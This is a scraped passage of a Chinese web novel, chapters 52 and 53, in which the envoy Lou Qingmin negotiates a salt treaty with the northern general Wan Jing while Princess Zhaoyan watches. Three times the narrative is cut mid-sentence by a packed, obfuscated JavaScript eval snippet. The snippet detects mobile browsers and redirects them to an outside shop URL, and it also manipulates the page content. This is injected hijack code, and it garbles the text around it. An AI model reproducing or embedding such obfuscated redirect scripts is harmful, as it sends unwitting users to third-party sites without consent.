先不论他们中原三国私下如何,自普桑与华纪签下联姻盟约的那日开始,他们便已被归入同一阵营。他料定宛靖不敢真的攻城,亦不敢让北狄陷入被中原歼灭的危机中! 所以宛靖,明日必定会亲自赴约。 他的根本目的也不是杀人攻城,而是另有所求。 送走赵成延,屋内只剩三人。 朝颜从方才便一直很认真地听他的计谋,恩威并施不失为一个好办法,但她总觉的还有些不妥,有什么地方缺了。 娄卿旻见她面上存疑,问了她一句,她想了想便说了个男人忽略的地方:“我们不能把所有希望全寄托在宛靖一人身上,万一他……” 后面的话她不明说,他二位也能猜得出来。 于是娄卿旻又特意嘱咐荆其明日做好最坏的打算,今夜悄悄在城楼上布局弓箭手,若到时真出了什么岔子也能抵御些功夫。 作战可不能用全然的赌徒心思,也许防止敌人使诈。 荆其接受娄卿旻的计划,但他还是默默叹气,眼里闪过几分失落。 他们都明白,打起来是众人最不愿看到、也是最坏的结局。 二人辞别城主,回了后院客房。 地面落雪越来越密,雪却不见停,仿佛要延续整夜。 朝颜在前面走得不紧不慢,寂静的夜里,地上雪花被她踩得咯吱作响,娄卿旻像是护花使者般,默默跟在她身后,脚下也不受控似得将她踩过的地方又重新覆盖一遍。 直至将她送到门前,临走前轻声关怀:“奔波多日,想必殿下也乏了,早些休息。” “大人明日谈判时带我同去可好?” 朝颜在娄卿旻转身离开前,直截了当地道出心中想了很久的话。 知晓这话说出可能会被拒绝,但她不试试不甘心。 果不其然,娄卿旻未加考虑便皱了眉,开口拒绝:“殿下,那是真正的敌寇,不是儿戏。” 若真伤到朝颜,他无法与华纪交代。 原本朝颜来荆城就是冒险之举,他已经做了做大的让步。 在他眼里,朝颜是公主,是君,本就该待在最安全的地方等待他们这些臣子为她送上捷报,而后嫣然一笑,说几句话体恤话语便是最大的仁慈,哪里需要这样亲力亲为。 更何况她为女子,本就该被保护在身后。 朝颜看不出娄卿旻心中所想,只觉得他行事太过谨慎,管她管得也太多。她淡淡地勾勾唇角,露出一抹极其敷衍的假笑,走到他身侧不过一尺距离,红唇离他的耳廓很近:“大人莫不是以为我真的那样傻?” “你方才既然用整个中原对上北狄,你敢说这其中没有利用我么?” 话毕,时间仿佛被凝固住,周围没有半点声息。 娄卿旻如鲠在喉,无言以对。 隐藏的心思被人明晃晃地揭穿,这感觉很不好。 但他确实利用了,所以便也少了一个解释的机会。 朝颜说完便退后,抱起手臂懒散地靠在一旁的门上,此刻她拿到主动权,像是一个餍足的狐狸,浑身散发随心所欲。 她掀起眼皮望向他,似笑非笑道了三个字: “你不敢。” 若非众人皆知她与普桑有联姻之约,华纪与普桑间便是井水不犯河水的关系,娄卿旻又怎敢说“中原”二字。 见人被她几句话堵得不知如何开口,朝颜直接趁此机会替自己辩解: “本殿下也只是想见识见识少傅大人的谈判功力罢了,再者说大家又不会真正打起来,让我陪着大人一起去又何妨?大人是坦荡君子,可万万不能做出利用完就过河拆桥的事。” 又是利用、又是过河拆桥,娄卿旻也没想到巧言如流的自己,也会有一日,被人堵得词穷理屈。 与朝颜相处这半年来,他也见过朝颜的锲而不舍,不达目的不罢休的特性。 再怎么拒绝也改变不了最后的事实,他垂下头,俯身对朝颜行一礼,语气恭敬:“殿下能说会道,臣,心服口服。” 目的达成,朝颜言语轻快:“既然大人同意了,我便回了。” 利落地转身推开房门,关门前还不忘提醒娄卿旻一句:“您也记得早些歇息,明日还有一场大战等着您,千万不可敷衍了事。” “……” * 第二日天还未亮,赵司寇便收到宛靖同意赴约的事。 辰时到,两军分别在十里地之外停住,后各自射箭,定好安全之距,随之便按照各带两人的约定,行至安全地境内,开始谈判。 雪已停了,仍不见朝阳,风一吹,依旧是寒冷的。 朝颜今日穿得厚,也蒙了面,为赴今日之约她清晨起了个大早专程骑了几圈马,眼下也能泰然自若地坐在马背上。 她视线略过前方人马,落到娄卿旻身上,他换了身黑色劲装,发束白冠,英姿勃发,从温润君子转变为霸气的将领。 朝颜不禁感叹,娄卿旻可塑性极高。 上天就是那样不公平,不仅给了他一颗机智的脑袋,一张毒蛇般的巧嘴,还有一副极其俊朗的面容。 果然,君子不仅是出类拔萃,更是德才兼备、光风霁月的。 宛靖早前听过娄卿旻的名号,但今日一见还是觉得此人太过年轻,他有些怀疑那些名声是否真实,还是夸大其词。 不过纵使娄卿旻嘴上再厉害,打起仗来也是绣花拳脚,所以他对今日谈判十分自信,因为他带的两个人是军中最勇猛最厉害的将士。 反观娄卿旻,身侧一个年上半百的老头,一个柔弱娇嫩的女子。 宛靖可谓十分不理解,又觉得可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405637|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。 女子在他们北狄最多只能掌管家务事,怎能带到战场上,这可是不详的! 不过眼下最重要的不是这个女子。他看向最中间的男子,大声问道:“你便是昨夜传信之人?” 就算在战场谈判,娄卿旻依旧保持着礼节。他拱手一拜后,解释身份:“在下乃华纪使臣娄卿旻,奉华纪君主之命来帮我们交好的燕国守护边境。今日亦是代替燕国国君与右贤王商讨攻城事宜。” 娄卿旻这才认真看着宛靖。 北狄衣装与中原的宽袍展袖大为不同。 男人身穿一袭红棕色兽皮铠甲,上半身被紧紧包裹着,更显其健硕的身姿。两袖与衣襟处全是保暖的皮毛,腰间别着一把精致匕首,其上的宝石精致耀眼,过目不忘。 娄卿旻忽然便想到当初宛廿刺伤朝颜的那把利器,与眼前这个十分相似,珍稀的玛瑙也如出一辙,这便让人更加确认宛廿是他的人。 听完娄卿旻介绍完的下一刻,宛靖冷哼一声:“想不到你们华纪的君主待燕融如此好!” “不过本王可没有闲心与你们多说废话!你费尽心思邀我前来,可是抓住凶手了?” 话毕,娄卿旻扯着缰绳向前迈了一步,马儿立在两方最中间,他迎着冷风,万分有底气地摇摇头,喊道:“在下知晓右贤王想为自己的子民讨回公道,但凡事都有商量,若你同意,我可尽最大努力帮你调查那人的真正死因,若有证据表明他是被人暗害,本官也不会包庇凶手,会立刻将人送去。” “就算查出他自身暴毙而亡,我们也可退一步当这事没发生过,届时给他的家人相应补偿,譬如粗盐或者其他,那样对我们彼此双方都好,想必阁下也不愿看到血流成河,族人惨死的局面。” 说完这几句,他注意到宛靖听见“粗盐”二字时明显变了脸色,虽然只闪了一下,他还是注意到了。 既然他确有所求,那便可从此处下手,攻破他的内心防线,抢回主动权。 思及此他话锋一转,“倘若我们二人硬要坚持自我在战场上相见,在下也可以答应。只是不知您麾下这些勇士是否能抵御华纪与燕国共同加起来的人数?” 说完娄卿旻挥了挥袖子,勒紧缰绳,身下马儿应景地鸣叫一声,声音回荡于天地,众人脸色皆变了几分。 他却毫不在意地抛出一个十分温和的笑容,嗓音漫不经心地从他唇齿间流出:“想必右贤王应当不会因为一个人放弃整个北狄。” 这句似问非问的话听着柔顺,却让人察觉出一丝震慑之力。 宛靖听出他的言外之意,眯着眼看去,冷道:“你在威胁本王?” “不是威胁,只是商量,仅此而已。” 他的回答依旧很淡,可却容不得人拒绝。 更何况他自认已经给宛靖很大的面子了,为了尽快解决此事,甚至不惜牺牲自己的利益。 娄卿旻如此从容不迫,宛靖不得不认真起来。 先前他就听过华纪娄少傅对战山匪以少胜多的名声,今日一见果然有胆有识,临危不惧。 宛靖严肃地打量着稳稳当当坐在马背上的人,想到他方才那桀骜不驯的姿态,他心中有那么一瞬,甚至都想将其掠过来为己所用。 朝颜亲眼见证二人交谈的画面,都有些佩服身侧人,明明孑然一身,却能让敌方觉得他身后有万千军马,望而生畏。 娄卿旻身上有许多将军都不曾有的临危不惧和自信,对所有事都是那样胜券在握。 实在是一个极好的游说者。 就在这时,朝颜忽然看见宛靖身侧一个眼熟之人,她先是一惊,后仔细看看才发现不是那人。不过那男子与宛廿长得确实有些相似,不怪她会认错。 男人已驾马归于原位,于是朝颜将此发现说与他听,他低声解释道:“臣先前调查过,宛廿便是宛靖的手下,宛氏是大族,又不愿向他们大王低头,族中没了粗盐粮食,故而另辟蹊径,假扮普桑找燕国那盐官合作互利。” 若非如此,宛靖也不会被逼得佯装攻城来讨利。 毕竟他先前有过一个规定,粗盐只在燕国与华纪境内售卖,出了主城便无处可买。 宛靖十有八九也知晓他在燕国,故而专程引他来此。 眼下男人目的达到,应是不会拒绝他的提议。 过了许久,宛靖终于开口:“容本王考虑考虑再给你答复。” 娄卿旻谈判时注重效益,不喜浪费时间,直接便应下:“好!那便……” “且慢——” 52. 纷争又起(五) “且慢——” 呼啸的冷风中忽然传来一道清朗空灵的声音,打断娄卿旻将要说出来的话。 众人闻声,齐刷刷转头找人。 朝颜也抬眸顺着声音源头寻去,只见宛靖身后一个身着银灰色长袍铠甲的男子身骑雪白铁骑奔腾而来,飒爽的身姿仿佛与马融为一体,浑身散发的自由奔放,是朝颜不曾见过的。 离得有些距离,朝颜顺着模糊的轮廓看去,依稀能便认出那是个五官立体的男子。他行得愈来愈近,朝颜这才看清他的真面目。确切地说,那男子实际是个略带青涩、意气风发的……少年。 只不过他的眼眸太过深邃,鼻子翘又挺,与其他人束起的发髻不同。他的满头黑发被金丝绳编成几缕麻花辫披散在肩两侧,其中几缕包了银箔,微微散着光,一眼望去极具异域风情。 朝颜也是初次见少年人梳这样的发型,若不出所料,眼前这个少年应是未加冠的年岁。 许是常年行动在外,住营帐养牛羊,他们北狄人肤色比中原人的要暗一些,都是统一的麦色,十分康健。 那少年在人群中反倒显得比旁人略白一些。 他脖颈处围了一圈厚厚的雪白护颈,转身调马间,后背宽大的披风显现在众人眼前,朝颜一眼便认出那披风是兽皮所制,其上还带着栩栩如生的虎豹花纹,她甚至能想象出鲜活的猛兽被活着剥皮的惨状。 少年风尘仆仆赶来,朝宛靖而去,将马勒停在他身侧,从怀中掏出一卷被缠得紧紧的羊皮卷,双手递给宛靖。 宛靖单手接过,眉目流出一丝不屑。他根本不用打开看,都知晓这里面写着什么。不过碍于敌国都在,众目睽睽之下,他还是决定给丹擎王几分薄面。 随手拆了捆绑的绳索,将羊皮展开。 熟悉的字迹映在眼底,宛靖表情沉了几分。 北堂禹仗着自己年轻时在向来喜欢长篇大论,竟说一些奇奇怪怪,文绉绉的话,他懒得看也听不懂,便只看了其中最关键的几个字“莫要为北狄树敌,尽快撤离,以保全族人性命。” 宛靖遇到突发状况,谈判戛然而止,娄卿旻也不急不躁,安静等在那处看他们打的什么主意。 只见宛靖将少年递过去的东西打开看过后,忽然变了脸色,随即将羊皮揉成一团攥在手里,对身侧人说了句什么,他未听清,而听过话之后的少年则扬起脖颈瞥他一眼,言语吓厉:“你竟敢不敬重我父王!” 二人间有些不知名的情绪在暗流涌动,好似是抗争、恼怒与不耐烦。 就在娄卿旻等人摆出一副看戏的姿态时,忽然又一道声音在队伍后方传出:“大兄。” 依稀能辨认出那是道极其稚嫩童声,约摸着不过八九岁。 所有人的视线全部被那童声吸引而去,只见一年轻男子身前带着个微胖的孩童,身骑着最罕见的汗血宝马朝这边奔来。 娄卿旻一眼便认出那是传言中的汗血宝马,据说此类马匹在北狄专养牛马之地也只不过两匹,今日一见果然与他们普通的马匹有霄壤之别。 它有普通马匹没有的上等皮毛,健硕身姿极其流畅,速度亦比普通马快两成,众人愣神间,铁蹄飞扬,他们已经抵达那灰袍少年身侧。宝马那双比葡萄还要大的眼睛滴溜着转来转去敏锐侦查,更是有了灵性一般。 不同于娄卿旻对宝马的好奇,宛靖皱着眉看过来,发现来人竟是北塘陌的亲弟北塘俤。 见老二这个拖油瓶也来凑热闹,宛靖眼神一冷,此刻已满脸铁青,阴沉又危险的气息顿时散发开来。 他已经没什么耐心了。 孩童则是不管不顾笑呵呵赶来,身上穿着与北塘陌类似的虎皮貂衣,额上绑着彩色发带,乖巧地抬头看着自家兄长,高声唤了句阿兄。 “阿俤。”北塘陌看着他们身下的宝马抽了抽嘴角,心中不免闪过一抹醋意,而后看向孩童身侧的男子,严肃道:“你怎么把他带来了?” 还骑着他最喜欢的汗血宝马,简直是暴殄天物。 男子听出北塘陌语气中的不悦,立马举起一只手放在胸前做认错状,颔首道:“冤枉啊王子殿下,您也知道二王子的脾性,奴实在是没法拒绝。” 北塘俤伸手拉下男子认错的手臂,看向自己兄长,嘟囔着嘴撒娇道:“你别骂左千长,是我担心阿兄,就叫他带我来了。” 也是了,自己弟弟什么样子他最清楚不过了。 而后叹了口气,启唇指出他的不是,“你啊,太调皮,好好一个官被你当作仆人来回使唤,我不骂他,我是可怜他。” 听完北塘俤便白了他一眼,双手抱拳放在胸前,故意扭过头不理人。左千长则在这兄弟俩之间辗转来去,哄完这个哄那个。 他们三人就这样肆无忌惮地,当着敌国使臣的面子在这儿唠家常。宛靖面色沉得如深潭之水,凉的彻底。 感情他们把两国交战当成儿戏了?也不怕让外人看笑话! 宛靖知道今日谈判被他三人彻底毁了,自己在娄卿旻面前也没了威严,他嫌恶地催促他们离开:“大王子,回去转告给你父王,说我自有安排,不必他插手。” 说完,静候许久,三人仍没有半点动作。 “怎么,二位侄子还不走?”他侧过脸将视线落到少年身上,眯起眼睛冷言道。 北塘陌也正是稚气十足的少年,脸上藏不住事。听到男人话语中的不耐烦,顿时觉得自己被人轻视看扁,当即面露不爽,愤愤道:“父王让我在此帮你,待确认此事结束后,不用右贤王催,我也自会带阿俤回去。” 说完他便将白色骏马掉了个头,此刻二人已面对着面,拔剑弩张,矛盾似要一触即发。 他们本就不是真正的叔侄关系,而宛靖也只是父亲年轻时拜过把子的兄弟而已,未收回兵权是给他面子,哪知宛靖愈发嚣张,真把自己当成北狄第二个王,简直不自量力。 北塘陌始终对宛氏一族心存芥蒂。 他时常想若非祖父当年心慈手软,救下宛氏那个外来人,终日养虎为患,任由他们将自己的人发展壮大,宛靖哪里会有如今右贤王的尊称。 北狄自始至终只姓北堂,祖父亦是带领家族第一个来此处安定下来的。好在大部分族人都知道这件陈年旧事,才没让宛靖的野心得逞。 此时的宛靖不知北塘陌心中所想,但他能从少年愤恨的脸上看出敌意,他一个年过半百的人也不跟一个孩童计较,硬生生将心中郁气忍了下来。瞪大双眸直视着少年,威胁恐吓了句:“管好你弟弟,若坏了我的事,让你们吃不了兜着走!” 北塘陌瞥他一眼,十分不屑地冷哼了声,自顾自地驾马退到北狄队伍中。 年幼的孩子坐在马上,被左千长揽着,紧跟在北塘陌身后,眼神止不住向后探,看见中年男人朝对面走去,不禁发出疑问:“大兄,他去做什么?” “谈判。”北塘陌答。 “大兄,我也想去。” 闻言北塘陌抿唇,眼神一瞥,摇头道:“不行,太危险了,我们还是离远些以保平安。” 说完就给了左千长一个眼神示意他管好北塘俤,后又驾马贴到二人身侧,认真嘱咐道:“你且老老实实地在这儿等着,待他二人商议好咱们便启程回去,回去之后我给你去父王那里拿饴糖。” 孩童一听到有糖吃,眼睛都亮了,捣蒜般点了好几下头。 * 这边燕国众人被他们这场稀奇古怪的认亲画面弄得一头雾水,其中也包含朝颜与娄卿旻。 起初还以为他们要使什么阴谋诡计,后来从他们几人与宛靖的相处姿态中才发现,他们是来劝退宛靖的。 某种意义来说,也是助燕国之人。 朝颜不知他们是何身份,正要开口问,一侧男人便推测到二人是丹擎王的两个子嗣。二人说完便见宛靖向前进了几步,似是要继续谈判。 娄卿旻亦是上前一步,十分体谅地笑笑,主动开口:“若右贤王家事繁忙,我们可以约明日再谈。” 宛靖摆摆手,“罢了,不必等明日,今日便将此事解决了吧!”他也想尽快赶走北塘陌,免得让其发现自己背后所做之事。 “你们燕国口口声声说我的族人是自己突发疾病而亡,可有证据?”他看着娄卿旻问。 昨夜入城后,赵成延已经将那北狄之人的死因讲明,娄卿旻知晓此事燕国占理,也不遮掩,如实道:“有仵作验尸为证,若右贤王不信,我们可再当场验一验尸。” 宛靖却是装起了大好人,满目悲伤,“人已经入土为安了,难本王要让他的家人们再受一次挖坟的痛?就算他们家人愿意本王也不忍心。不如这样吧,暂且当他是突发疾病而亡,你要遵守你方才所说的条件,补偿他家人些财物,不过,我还有一个外加条件,若你答应,此事就此作罢。” 老奸巨猾的狐狸,无所畏惧。 恨不得直接把自己故意诬陷燕国的心抛出给众人看。 朝颜觉得宛靖未免欺人太甚,刚轻咳了声准备开口讽刺几句,却被一旁娄卿旻看破,伸手挡在她面前拦了一下,她狐疑地抬头。 只见娄卿旻给了她一个安抚的眼神,而后便直视着中年男人,语气十分冷淡:“什么条件,阁下请直言。” “本王,要华纪与我北狄签下售卖粗盐的契约书。” 话语说得十分清楚,算盘打得也很响,司马昭之心路人皆知。 他甚至将自己摆在高位,见娄卿旻不接话,便嘲道:“怎么,娄少傅不会想反悔吧?” “自是不会。”娄卿旻想都没想便接话。 听到此言,宛靖的嘴角忍不住疯狂上扬。 随之又听见娄卿旻回:“可以签,但是在下也有言在先,售卖粗盐的量由我说了算。” “你……”宛靖瞪大眼睛,胸前涌上一股怒。 他难以置信地伸手指着娄卿旻,说了好几个你,娄卿旻也未理他。 怒火中烧,他本想狮子大开口,却不料对方一眼识破他的计谋。 眼下自己说晚了一句,落了下风,当着两国将士的面,他是进退两难,除了答应也别无他法。 鱼已咬钩,娄卿旻一边说着苦肉计,一边又追加了条件:“想必阁下也知道提炼粗盐有多么困难,为保证中原的粗盐量,我只能许给你剩余的部分。但在下也将丑话说在前面,若日后北狄再随意挑起战乱,此契约便作废!” “我身为华纪使臣,保护华纪交好国的子民亦是我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405638|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 责任。若不然,日后国君揪我错处,拿我是问,我便没命了。人总要先保全自己才能救济旁人,阁下应该赞同此话吧?” “言尽于此,若右贤王同意,在下现在便可拟一份契约书。若阁下不同意,恐怕您手下将领不一定能熬过这个冬日。” “……” 据娄卿旻所知,北狄不仅缺粗盐,也十分缺木炭。 虽已入了新年,但他们北狄地处空旷,每年冬日受大风侵凌,要比筑满高墙的中原冷得更多。 “大名鼎鼎的华纪军师果然出口不凡,让人刮目相看。” 纵然宛靖内心怨恨,但面上不得不点头,娄卿旻已看破他的弱点,再商讨下去恐对北狄不利,他沉默片刻,只能答应,“好,就依你说的办。” 娄卿旻早料到会是如今的模样,所以他昨夜便提前写好了契约,为的就是此时此刻不耽误时间。 他驾马退回队伍中,琉璃色的瞳孔转到暮商身上,少年顿时明白,伸手从怀里掏出一块写满字迹的布帛递到他面前,娄卿旻接过后垂首看了一遍,拿着布帛便回到安全之距中。 二人签订契约时,站在两队最中间,一左一右,面面相觑,离得很近。 宛靖看过后,直接拔出腰间系着的匕首刺破一个手指,血珠顺着指头冒出落于白雪中,将其染上鲜红。拿着那块厚实的布帛看了又看,最终下了决心抬手,一个明晃晃的印记黏在布帛上。 广阔天地间,契约被签下那刻,时间恍惚凝滞一瞬。 须臾间,天边掀起一阵狂躁的阴风,四周没有挡风的树植,遍地雪土混在在一处被卷到半空,刹时便迷了眼。其中有几匹马嘶吼着,连带着人一齐乱动。 朝颜身轻体薄,亦是挡不住狂风,她用力扯着缰绳,马在这番拉扯下也向后退了几步。 面上薄纱尽数被风掀起,露出下半张额面,身后乌发也被吹起。 反观这边的北狄人马,麻木地像稻草人,基本一动不动。 他们似乎早已习惯了狂风暴尘的天,身影每个人出门便会佩戴遮挡风沙的帷布,风一来就挡住此刻比燕国众人少了些狼狈。 北塘俤一双眼睛十分机灵,来回看着对面不知所措的燕国人,哈哈大笑了几声,忽然停住,扯了扯身侧少年的衣袖,喊道:“大兄,你看!那男人身边的姐姐长得好漂亮!” 北塘陌没听清他说得话,故而低头弯腰,耳朵俯贴在他嘴边,听人又重复一句:“大兄,你快看那个穿白衣服的漂亮姐姐!” 话毕北塘陌坐直身子寻着阿弟口中的白衣身影,雪白与棕马颜色鲜明,一眼便能找到。 厚厚的大裘下笼罩着一道纤瘦身形,此刻坐在骏马上,一手用力控制要发狂的马儿,另一只手正忙不迭地抓住那片快要掉落的面纱,两只手都被占着,她眼中有了半刻慌乱,系在后脑的红丝带随风舞动,似是跳了一支翘摇的舞。 少年的目光亦被那条丝带勾住了神魂,望穿秋水。 面纱终于被她抓到手中,她慢慢重新覆好,明显松了口气的模样,看得北塘陌忍不住勾唇。 她不知她小心隐藏的那张娇艳面容早已被人看得一清二楚。 狂风过后,地面残雪被吹起薄薄一层,又将一些人行过的迹象覆盖多半,娄卿旻回头瞥见朝颜慌乱的动作,发现其面纱被吹乱,他瞳孔猛地一缩,顿时抬起手臂,宽大的袖袍瞬时将俏丽的身影遮了个完整,只露出裙边下摆与四只马腿。 北塘陌还在欣赏,忽然被人打断,眼中流出一丝不悦,但他还能记得那张一闪而过的容颜。 纱布下的面颊只有巴掌大小,上面是微微翘起的鼻梁,朱唇皓齿,肤如白玉,可谓世间不可多得的美人。尤其是那上挑的眼角带着一股淡淡的魅惑劲儿,有摄人心魄之力。 对面那使臣总算把袖袍收回,少女已经整理好仪容,端坐在马背。 北塘陌直直看去,眼眸闪烁,心好似也被一根银线拉过去,无知觉地愣了神。 那少女好似也察觉到他的视线,瞬间朝这边看来。 北塘陌还沉醉在她的美色中,哪里知道自己这么快被抓包。来不及收回目光,二人就这样猝不及防地对视了一眼。 对视看似无声,实则已经彼此将情绪准确无误地传给对方。他们一个处于欣赏美色的惊艳中,一个则处于被窥探的不悦中。二人水火相交,不分上下,也难分胜负。 最终还是北塘陌被一侧孩童拉回了现世: “大兄,你能不能将人抢来给我做媳妇?” 话毕,北塘陌无奈地瞥他一眼,满面笑容,“小小年纪竟说些乱七八糟的话,从哪儿学的?回去我定要将那个害人不浅的罪魁祸首找出来,狠狠揍他一顿!” 往往童言无忌,又最纯粹,怎么想便怎么说了。 但他不想左千长被大兄揍,连忙解释:“没人教我,我自己书上看的……” 娄卿旻方才只疏忽了片刻,差点让朝颜暴露在众人面前。他慌了手脚才抬臂遮挡,他也是怕万一北狄有心怀不轨之人,见了朝颜面容后便觊觎她,所以专程让她遮住面,但很显然,朝颜本人对自己的美貌不是多么在意。 亦不知在这乱世中,美貌对女子来说,祸大于福。 53. 稷粮之乱(一) 狂风咆哮过后的空旷场地又恢复了起初的平静。 分列在两侧的浩荡长队签订契约后,矛盾被化解,彼此间也没了方才那样拔刃张弩的氛围。 宛靖如愿以偿得到自己想要的,与娄卿旻告别后便带着庞大的队伍返回北狄。 北塘陌亲眼见过此情此景,也安下心,先大军一步离开回北狄复命。虽未亲眼看过宛靖与燕国人的契约,但从他们对话上来看,也能猜个七八分。 无非就是为了利。 北塘陌对此有些嗤之以鼻。 比起玩弄权谋的尔虞我诈之术,他更愿意在旷野中奔跑赛马,狩猎养兽,日日吃香喝辣,那才乐得自在。一想到完成此事回去父亲便会赏他一匹汗血宝马,他的唇角便忍不住上扬。 不过他乐到一半忽然止住。 今日一别怕是再也见不到方才那位中原女子。 她看上去与自己年龄相仿,正是十几岁模样,只是从她那道锐利的眼神可以推测出,她脾气不太柔顺。 这令他不禁想起自己年幼时在山林中捡到的那只受伤的小狮。 当时那小狮也就一只手臂那样大,不知被什么猛兽咬到,身上满是伤口,血肉筋骨全都露了出来,他见了觉得实在可怜,便将它带回营帐治伤。 那小狮寄人篱下的时候还很乖,完全没有半点兽意,他都想将其养在身边,谁知它伤好以后便露出真面目狠狠咬了他一口。 这么多年,他有时还在想,或许是医者帮它治伤上药时太痛了,所以它记恨他?记恨把它带回营帐的他。 想到这儿,他懒散地笑笑,抬起右手看了又看。 虎口处那道月牙疤还在,疤痕中间凸起泛白,还能依稀回忆起那时被咬后皮肉分离的疼。 自那以后他便长了记性,再也没有随随便便救过什么。 他不是锱铢必较之人,便没怪它。 只是不知那小狮被他放走后,还有没有再受伤。 不过今日他见到那女子的反应后,忽然有些理解小狮突然翻脸的举措。 或许它与她类似,也是觉得自己受旁人冒犯,被陌生人带回去上药包扎疼了许多天,最后不得不伸出爪牙保护自己。 …… 燕国军队一直伫守在原地,目送北狄大军行至三里开外,确认四下安全后,娄卿旻才吩咐众人回城。 朝颜没把那少年明目张胆的探究放在心上,听完娄卿旻吩咐之后,也慢悠悠地跟在队伍最后方。 行至半路她忽然察觉眼前正慢慢阔亮起来,回头一看,原本阴沉的天际竟出了太阳,地面残雪在金光的照射下闪着烁烁的光芒,晶莹剔透,细看过去,也是个不可多见的雅景。 紧接着又吹来一阵风,虽没方才那样猛烈,但风速极快,快到人没反应过来便又平息。 突袭的沙雪袭卷,倏而迷了眼,朝颜顿时皱眉,一手拉着缰绳,另一只手揉揉右眼,鼻尖又忽然泛起细细的痒意,一时忍不住打了个喷嚏。 这一幕被身后斜侧方男子看见后,焦急地架着骏马追了上去,他很有眼色地取出一块淡蓝色锦帕递到她面前。 朝颜半眯着一只眼,看都不看来人是谁就直接接下。 不是不看,而是不用看。 不用看也知身侧人是娄卿旻。 这也不是他第一次伸出援手,亦不是第一次给她手帕。 而她,竟也养成了不好的习惯,只要是他给的东西,看都不看便自然而然接下。 她出走在外,又不愿拘泥那些礼节,便没有拿锦帕的习惯,往日槐夏为她准备好她也会偷偷放回原位,今日之事倒是让她有些面红,总不好每次都要旁人的东西,日后可要随身备着了。 先前在集市上那块帕子还未还给他,这一来二去,又欠下他许多大大小小的人情。 她擦拭过眼睛后便将锦帕拿在手中,盯着发呆。 她觉得奇怪,娄卿旻一个男子为何会随身携带这种女孩子才能用到的物件,莫不是专程为谁准备的?但往日也不见他与旁的女子相处,她也不会觉得他是为她准备的。 朝颜是好奇,但也不好张嘴问,便只能将这些疑惑烂在肚子里。 一侧的娄卿旻见朝颜盯着锦帕看,还以为是帕子出了问题,轻声开口询问:“殿下怎么了?眼睛可有好些?” 朝颜转过那只还泛着红的眼回看娄卿旻,摇头解释,“不打紧。”随后又轻松呼出一口气,将锦帕迅速塞进袖口,追问道:“如今我们这便是完成任务了?” 不费一兵一卒,阻止了宛靖攻城。 她总觉的此次宛靖答应得太快,事情比预料中的简单。 北狄人之所以能这样轻而易举地退回去,或许只是他们的延缓之计。 那份契约不可能约束他们一辈子,他们迟早还会与宛廿一样重整旗鼓再来攻城,眼下是能多拖一日便拖一日。 她也在想,日后她去联姻,中原若真能团结起来共同压制北狄,到那时没了内忧外患,天下太平,华纪也不会被灭,兄长在天上看见如此盛世,也会高兴吧。 娄卿旻能看破朝颜心中所顾及的忧虑,亦知世事无常,他会尽最大努力护好华纪与燕国,眼下却是不能再让朝颜过分思虑自寻苦恼。 他抬眼深沉地看她一眼,十分确定地嗯了一声,回答她方才的问题,而后又道:“殿下,今日风大,我们尽快回去吧。” 闻言朝颜也没再陷入混乱的思绪中,眼下解决了北狄攻城之事,应该痛痛快快庆祝一场,毕这样潇洒快活的日子过一日便少一日。 想到会庆祝,但她也没料到在回城的路上,居然发生这一幕。 街道两侧几乎站满了百姓,他们手中拿着鼓槌与青锣鼓盘,大队人马刚入城,他们就开始敲锣打鼓,更有二楼的百姓拎着盛满腊梅花瓣的篮子,抓起一把把花瓣往他们身上撒。 红黄相间的花瓣带着新鲜的芬香,落在众人肩头,他们不知不觉被百姓的欢快所感染,一起手牵手高歌跳舞来庆祝。 此战未打,还签下禁战契约,百姓们不必四处躲藏逃难,日后也不用提心吊胆,得知此消息都高兴极了。 他们都知道此事最大功臣是国君专程派来一个口舌厉害的华纪使臣,故而城主大人一招呼,他们便马不停蹄地准备了这么一场朴素却充满真情真意的答谢之路。 朝颜在人群中看见那个熟悉的人,才发现赵司寇不知何时提前回来了,想必也是他将好消息传到城里的。 司马将军伤势见好,也出来露了面。 欢声笑语的热闹延续了整整一日,百姓们心地良善待人亲切,怀着感激之情纷纷拿出自家屯的粮食与家养鸡鸭一一送到众将士手上,虽不多但也表明了心意。 直到傍晚,城主又劳心费力地为众人在府上举办了一场盛大的庆功宴。 舞燕歌莺,丝竹声悦耳,舞者们穿着流光溢彩的罗纱裙在最中央翩翩起舞,摇曳生姿,窈窕佳人搭配着面前的美酒佳肴,说是一场饕餮盛宴也不为过。 许是临近北狄的缘由,荆城的菜肴中有诸多由牛羊肉制成的荤菜,做法比先前在燕国见过的种类还要多,整只烤全羊撒了味佐料,搬上桌案时,已经满室飘香。 槐夏在一旁将羊肉用刀具拆成小块放置朝颜盘中,她迫不及待夹起咬上一口,肉质鲜嫩,满口.爆油。 面前还摆了一碗从未喝过的饮子。 纯白的水液中飘着几片茶叶,朝颜好奇地端起来放在鼻下轻嗅,醇香漫延至鼻尖,紧接着她便听城主解释说,这是由牛奶煮沸加了茶水与饴糖而制成的一种饮品,淡淡茶香与浓郁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 